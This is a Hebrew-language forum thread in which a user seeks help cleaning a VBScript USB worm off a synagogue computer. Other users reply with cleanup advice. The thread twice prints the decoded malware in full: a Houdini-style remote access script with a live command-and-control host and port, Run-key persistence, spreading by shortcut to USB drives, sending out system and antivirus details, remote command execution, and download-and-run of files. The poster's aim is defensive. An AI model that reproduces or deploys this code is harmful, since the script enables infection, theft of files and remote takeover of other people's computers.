                                   filesystemobj.deletefile (file.path) 
                               end if
                           end if
                       next
                       for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                           folder.attributes = 0
                       next
                  end if
                  end if
                  end if
                  next
                  wscript.quit
                  end sub
                  
                  function post (cmd ,param)
                  
                  post = param
                  httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                  httpobj.setrequestheader "user-agent:",information
                  httpobj.send param
                  post = httpobj.responsetext
                  end function
                  
                  function information
                  on error resume next
                  if  inf = "" then
                      inf = hwid & spliter 
                      inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                      inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                  
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set os = root.execquery ("select * from win32_operatingsystem")
                      for each osinfo in os
                         inf = inf & osinfo.caption & spliter  
                         exit for
                      next
                      inf = inf & "plus" & spliter
                      inf = inf & security & spliter
                      inf = inf & usbspreading
                      information = inf  
                  else
                      information = inf
                  end if
                  end function
                  
                  sub upstart ()
                  on error resume Next
                  
                  shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                  filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                  filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                  
                  end sub
                  
                  function hwid
                  on error resume next
                  
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set disks = root.execquery ("select * from win32_logicaldisk")
                  for each disk in disks
                      if  disk.volumeserialnumber <> "" then
                          hwid = disk.volumeserialnumber
                          exit for
                      end if
                  next
                  end function
                  
                  function security 
                  on error resume next
                  
                  security = ""
                  
                  set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                  for each objitem in colitems
                      versionstr = split (objitem.version,".")
                  next
                  versionstr = split (colitems.version,".")
                  osversion = versionstr (0) & "."
                  for  x = 1 to ubound (versionstr)
                       osversion = osversion &  versionstr (i)
                  next
                  osversion = eval (osversion)
                  if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                  
                  set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                  Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                  
                  for each objantivirus in colantivirus
                      security  = security  & objantivirus.displayname & " ."
                  next
                  if security  = "" then security  = "nan-av"
                  end function
                  
                  function instance
                  on error resume next
                  
                  usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                  if usbspreading = "" then
                     if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                        usbspreading = "true - " & date
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                     else
                        usbspreading = "false - " & date
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                  
                     end if
                  end If
                  
                  
                  upstart
                  set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                  set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                  if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                      wscript.quit 
                  end If
                  err.clear
                  set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                  if  err.number > 0 then wscript.quit
                  end function
                  
                  sub sitedownloader (fileurl,filename)
                  
                  strlink = fileurl
                  strsaveto = installdir & filename
                  set objhttpdownload = createobject("msxml2.xmlhttp" )
                  objhttpdownload.open "get", strlink, false
                  objhttpdownload.send
                  
                  set objfsodownload = createobject ("scripting.filesystemobject")
                  if  objfsodownload.fileexists (strsaveto) then
                      objfsodownload.deletefile (strsaveto)
                  end if
                   
                  if objhttpdownload.status = 200 then
                     dim  objstreamdownload
                     set  objstreamdownload = createobject("adodb.stream")
                     with objstreamdownload
                          .type = 1 
                          .open
                          .write objhttpdownload.responsebody
                          .savetofile strsaveto
                          .close
                     end with
                     set objstreamdownload = nothing
                  end if
                  if objfsodownload.fileexists(strsaveto) then
                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                  end if 
                  end sub
                  
                  sub download (fileurl,filedir)
                  
                  if filedir = "" then 
                     filedir = installdir
                  end if
                  
                  strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                  set objhttpdownload = createobject("msxml2.xmlhttp")
                  objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                  objhttpdownload.send ""
                       
                  set objfsodownload = createobject ("scripting.filesystemobject")
                  if  objfsodownload.fileexists (strsaveto) then
                      objfsodownload.deletefile (strsaveto)
                  end if
                  if  objhttpdownload.status = 200 then
                      dim  objstreamdownload
                      set  objstreamdownload = createobject("adodb.stream")
                      with objstreamdownload 
                           .type = 1 
                           .open
                           .write objhttpdownload.responsebody
                           .savetofile strsaveto
                           .close
                      end with
                      set objstreamdownload  = nothing
                  end if
                  if objfsodownload.fileexists(strsaveto) then
                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                  end if 
                  end sub
                  
                  function upload (fileurl)
                  
                  dim  httpobj,objstreamuploade,buffer
                  set  objstreamuploade = createobject("adodb.stream")
                  with objstreamuploade 
                       .type = 1 
                       .open
                       .loadfromfile fileurl
                       buffer = .read
                       .close
                  end with
                  set objstreamdownload = nothing
                  set httpobj = createobject("msxml2.xmlhttp")
                  httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                  httpobj.send buffer
                  end function
                  
                  function enumdriver ()
                  
                  for  each drive in filesystemobj.drives
                  if   drive.isready = true then
                       enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                  end if
                  next
                  end Function
                  
                  function enumfaf (enumdir)
                  
                  enumfaf = enumdir & spliter
                  for  each folder in filesystemobj.getfolder (enumdir).subfolders
                       enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                  next
                  
                  for  each file in filesystemobj.getfolder (enumdir).files
                       enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                  
                  next
                  end function
                  
                  function enumprocess ()
                  
                  on error resume next
                  
                  set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                  set colitems = objwmiservice.execquery("select * from win32_process",,48)
                  
                  dim objitem
                  for each objitem in colitems
                      enumprocess = enumprocess & objitem.name & "|"
                      enumprocess = enumprocess & objitem.processid & "|"
                      enumprocess = enumprocess & objitem.executablepath & spliter
                  next
                  end function
                  
                  sub exitprocess (pid)
                  on error resume next
                  
                  shellobj.run "taskkill /F /T /PID " & pid,7,true
                  end sub
                  
                  sub deletefaf (url)
                  on error resume next
                  
                  filesystemobj.deletefile url
                  filesystemobj.deletefolder url
                  
                  end sub
                  
                  function cmdshell (cmd)
                  
                  dim httpobj,oexec,readallfromany
                  
                  set oexec = shellobj.exec ("%comspec% /c " & cmd)
                  if not oexec.stdout.atendofstream then
                     readallfromany = oexec.stdout.readall
                  elseif not oexec.stderr.atendofstream then
                     readallfromany = oexec.stderr.readall
                  else 
                     readallfromany = ""
                  end if
                  
                  cmdshell = readallfromany
                  end function
                  
                  cfopuserC מנותק
                  cfopuserC מנותק
                  cfopuser
                  כתב נערך לאחרונה על ידי
                  #14

                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                  נראה שלא הועיל,
                  לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                  1
                  • cfopuserC cfopuser

                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                    נראה שלא הועיל,
                    לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי
                    #15

                    @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    ר תגובה 1 תגובה אחרונה
                    0
                    • מתכנת חובבמ מתכנת חובב

                      @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                      ר מנותק
                      ר מנותק
                      רנדומלי
                      כתב נערך לאחרונה על ידי
                      #16

                      השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                      מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                      מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                      גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                      @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                      cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                      0
                      • ר רנדומלי

                        השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                        מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                        מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                        גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                        @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                        cfopuserC מנותק
                        cfopuserC מנותק
                        cfopuser
                        כתב נערך לאחרונה על ידי
                        #17

                        @רנדומלי היא כן.

                        תגובה 1 תגובה אחרונה
                        1
                        • ר רנדומלי

                          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                          cmd /c hrxxryydxo.vbs && start explorer [file name]
                          

                          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                          

                          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                          לאחר פיענוח הקידוד התקבל הקוד הבא:
                          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                          e
                          '<[ recoder : houdini (c) skype : houdini-fx ]>
                          
                          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          host = "khattab.no-ip.biz"
                          port = 5550
                          installdir = "%temp%"
                          lnkfile = true
                          lnkfolder = true
                          
                          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          dim shellobj 
                          set shellobj = wscript.createobject("wscript.shell")
                          dim filesystemobj
                          set filesystemobj = createobject("scripting.filesystemobject")
                          dim httpobj
                          set httpobj = createobject("msxml2.xmlhttp")
                          
                          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                          
                          installname = wscript.scriptname
                          startup = shellobj.specialfolders ("startup") & "\"
                          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                          spliter = "<" & "|" & ">"
                          sleep = 5000 
                          dim response
                          dim cmd
                          dim param
                          info = ""
                          usbspreading = ""
                          startdate = ""
                          dim oneonce
                          
                          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                          on error resume next
                          
                          instance
                          while true
                          
                          install
                          
                          response = ""
                          response = post ("is-ready","")
                          cmd = split (response,spliter)
                          select case cmd (0)
                          case "excecute"
                                param = cmd (1)
                                execute param
                          case "update"
                                param = cmd (1)
                                oneonce.close
                                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                oneonce.write param
                                oneonce.close
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                wscript.quit 
                          case "uninstall"
                                uninstall
                          case "send"
                                download cmd (1),cmd (2)
                          case "site-send"
                                sitedownloader cmd (1),cmd (2)
                          case "recv"
                                param = cmd (1)
                                upload (param)
                          case  "enum-driver"
                                post "is-enum-driver",enumdriver  
                          case  "enum-faf"
                                param = cmd (1)
                                post "is-enum-faf",enumfaf (param)
                          case  "enum-process"
                                post "is-enum-process",enumprocess   
                          case  "cmd-shell"
                                param = cmd (1)
                                post "is-cmd-shell",cmdshell (param)  
                          case  "delete"
                                param = cmd (1)
                                deletefaf (param) 
                          case  "exit-process"
                                param = cmd (1)
                                exitprocess (param) 
                          case  "sleep"
                                param = cmd (1)
                                sleep = eval (param)        
                          end select
                          
                          wscript.sleep sleep
                          
                          wend
                          
                          sub install
                          on error resume next
                          dim lnkobj
                          dim filename
                          dim foldername
                          dim fileicon
                          dim foldericon
                          
                          upstart
                          for each drive in filesystemobj.drives
                          
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                              end if
                              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                  if not lnkfile then exit for
                                  if  instr (file.name,".") then
                                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                          file.attributes = 2+4
                                          if  ucase (file.name) <> ucase (installname) then
                                              filename = split(file.name,".")
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                              if  instr (fileicon,",") = 0 then
                                                  lnkobj.iconlocation = file.path
                                              else 
                                                  lnkobj.iconlocation = fileicon
                                              end if
                                              lnkobj.save()
                                          end if
                                      end if
                                  end if
                              next
                              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                  if not lnkfolder then exit for
                                  folder.attributes = 2+4
                                  foldername = folder.name
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                  if  instr (foldericon,",") = 0 then
                                      lnkobj.iconlocation = folder.path
                                  else 
                                      lnkobj.iconlocation = foldericon
                                  end if
                                  lnkobj.save()
                              next
                          end If
                          end If
                          end if
                          next
                          err.clear
                          end sub
                          
                          sub uninstall
                          on error resume next
                          dim filename
                          dim foldername
                          
                          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          filesystemobj.deletefile startup & installname ,true
                          filesystemobj.deletefile wscript.scriptfullname ,true
                          
                          for  each drive in filesystemobj.drives
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                   on error resume next
                                   if  instr (file.name,".") then
                                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                           file.attributes = 0
                                           if  ucase (file.name) <> ucase (installname) then
                                               filename = split(file.name,".")
                                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                           else
                                               filesystemobj.deletefile (drive.path & "\" & file.name)
                                           end If
                                       else
                                           filesystemobj.deletefile (file.path) 
                                       end if
                                   end if
                               next
                               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                   folder.attributes = 0
                               next
                          end if
                          end if
                          end if
                          next
                          wscript.quit
                          end sub
                          
                          function post (cmd ,param)
                          
                          post = param
                          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                          httpobj.setrequestheader "user-agent:",information
                          httpobj.send param
                          post = httpobj.responsetext
                          end function
                          
                          function information
                          on error resume next
                          if  inf = "" then
                              inf = hwid & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                          
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set os = root.execquery ("select * from win32_operatingsystem")
                              for each osinfo in os
                                 inf = inf & osinfo.caption & spliter  
                                 exit for
                              next
                              inf = inf & "plus" & spliter
                              inf = inf & security & spliter
                              inf = inf & usbspreading
                              information = inf  
                          else
                              information = inf
                          end if
                          end function
                          
                          sub upstart ()
                          on error resume Next
                          
                          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                          
                          end sub
                          
                          function hwid
                          on error resume next
                          
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set disks = root.execquery ("select * from win32_logicaldisk")
                          for each disk in disks
                              if  disk.volumeserialnumber <> "" then
                                  hwid = disk.volumeserialnumber
                                  exit for
                              end if
                          next
                          end function
                          
                          function security 
                          on error resume next
                          
                          security = ""
                          
                          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                          for each objitem in colitems
                              versionstr = split (objitem.version,".")
                          next
                          versionstr = split (colitems.version,".")
                          osversion = versionstr (0) & "."
                          for  x = 1 to ubound (versionstr)
                               osversion = osversion &  versionstr (i)
                          next
                          osversion = eval (osversion)
                          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                          
                          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                          
                          for each objantivirus in colantivirus
                              security  = security  & objantivirus.displayname & " ."
                          next
                          if security  = "" then security  = "nan-av"
                          end function
                          
                          function instance
                          on error resume next
                          
                          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                          if usbspreading = "" then
                             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                usbspreading = "true - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                             else
                                usbspreading = "false - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                          
                             end if
                          end If
                          
                          
                          upstart
                          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                              wscript.quit 
                          end If
                          err.clear
                          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                          if  err.number > 0 then wscript.quit
                          end function
                          
                          sub sitedownloader (fileurl,filename)
                          
                          strlink = fileurl
                          strsaveto = installdir & filename
                          set objhttpdownload = createobject("msxml2.xmlhttp" )
                          objhttpdownload.open "get", strlink, false
                          objhttpdownload.send
                          
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                           
                          if objhttpdownload.status = 200 then
                             dim  objstreamdownload
                             set  objstreamdownload = createobject("adodb.stream")
                             with objstreamdownload
                                  .type = 1 
                                  .open
                                  .write objhttpdownload.responsebody
                                  .savetofile strsaveto
                                  .close
                             end with
                             set objstreamdownload = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          sub download (fileurl,filedir)
                          
                          if filedir = "" then 
                             filedir = installdir
                          end if
                          
                          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                          set objhttpdownload = createobject("msxml2.xmlhttp")
                          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                          objhttpdownload.send ""
                               
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                          if  objhttpdownload.status = 200 then
                              dim  objstreamdownload
                              set  objstreamdownload = createobject("adodb.stream")
                              with objstreamdownload 
                                   .type = 1 
                                   .open
                                   .write objhttpdownload.responsebody
                                   .savetofile strsaveto
                                   .close
                              end with
                              set objstreamdownload  = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          function upload (fileurl)
                          
                          dim  httpobj,objstreamuploade,buffer
                          set  objstreamuploade = createobject("adodb.stream")
                          with objstreamuploade 
                               .type = 1 
                               .open
                               .loadfromfile fileurl
                               buffer = .read
                               .close
                          end with
                          set objstreamdownload = nothing
                          set httpobj = createobject("msxml2.xmlhttp")
                          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                          httpobj.send buffer
                          end function
                          
                          function enumdriver ()
                          
                          for  each drive in filesystemobj.drives
                          if   drive.isready = true then
                               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                          end if
                          next
                          end Function
                          
                          function enumfaf (enumdir)
                          
                          enumfaf = enumdir & spliter
                          for  each folder in filesystemobj.getfolder (enumdir).subfolders
                               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                          next
                          
                          for  each file in filesystemobj.getfolder (enumdir).files
                               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                          
                          next
                          end function
                          
                          function enumprocess ()
                          
                          on error resume next
                          
                          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_process",,48)
                          
                          dim objitem
                          for each objitem in colitems
                              enumprocess = enumprocess & objitem.name & "|"
                              enumprocess = enumprocess & objitem.processid & "|"
                              enumprocess = enumprocess & objitem.executablepath & spliter
                          next
                          end function
                          
                          sub exitprocess (pid)
                          on error resume next
                          
                          shellobj.run "taskkill /F /T /PID " & pid,7,true
                          end sub
                          
                          sub deletefaf (url)
                          on error resume next
                          
                          filesystemobj.deletefile url
                          filesystemobj.deletefolder url
                          
                          end sub
                          
                          function cmdshell (cmd)
                          
                          dim httpobj,oexec,readallfromany
                          
                          set oexec = shellobj.exec ("%comspec% /c " & cmd)
                          if not oexec.stdout.atendofstream then
                             readallfromany = oexec.stdout.readall
                          elseif not oexec.stderr.atendofstream then
                             readallfromany = oexec.stderr.readall
                          else 
                             readallfromany = ""
                          end if
                          
                          cmdshell = readallfromany
                          end function
                          
                          ת מנותק
                          ת מנותק
                          תלמידהון
                          כתב נערך לאחרונה על ידי
                          #18

                          @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                          תגובה 1 תגובה אחרונה
                          0
                          • ר רנדומלי

                            השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                            מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                            מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                            גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                            @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                            מתכנת חובבמ מנותק
                            מתכנת חובבמ מנותק
                            מתכנת חובב
                            מדריכים
                            כתב נערך לאחרונה על ידי
                            #19

                            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                            היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                            ר תגובה 1 תגובה אחרונה
                            1
                            • מתכנת חובבמ מתכנת חובב

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                              היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                              ר מנותק
                              ר מנותק
                              רנדומלי
                              כתב נערך לאחרונה על ידי
                              #20

                              @מתכנת-חובב
                              השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                              כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                              @תלמידהון
                              כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                              ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                              0
                              • ר רנדומלי

                                @מתכנת-חובב
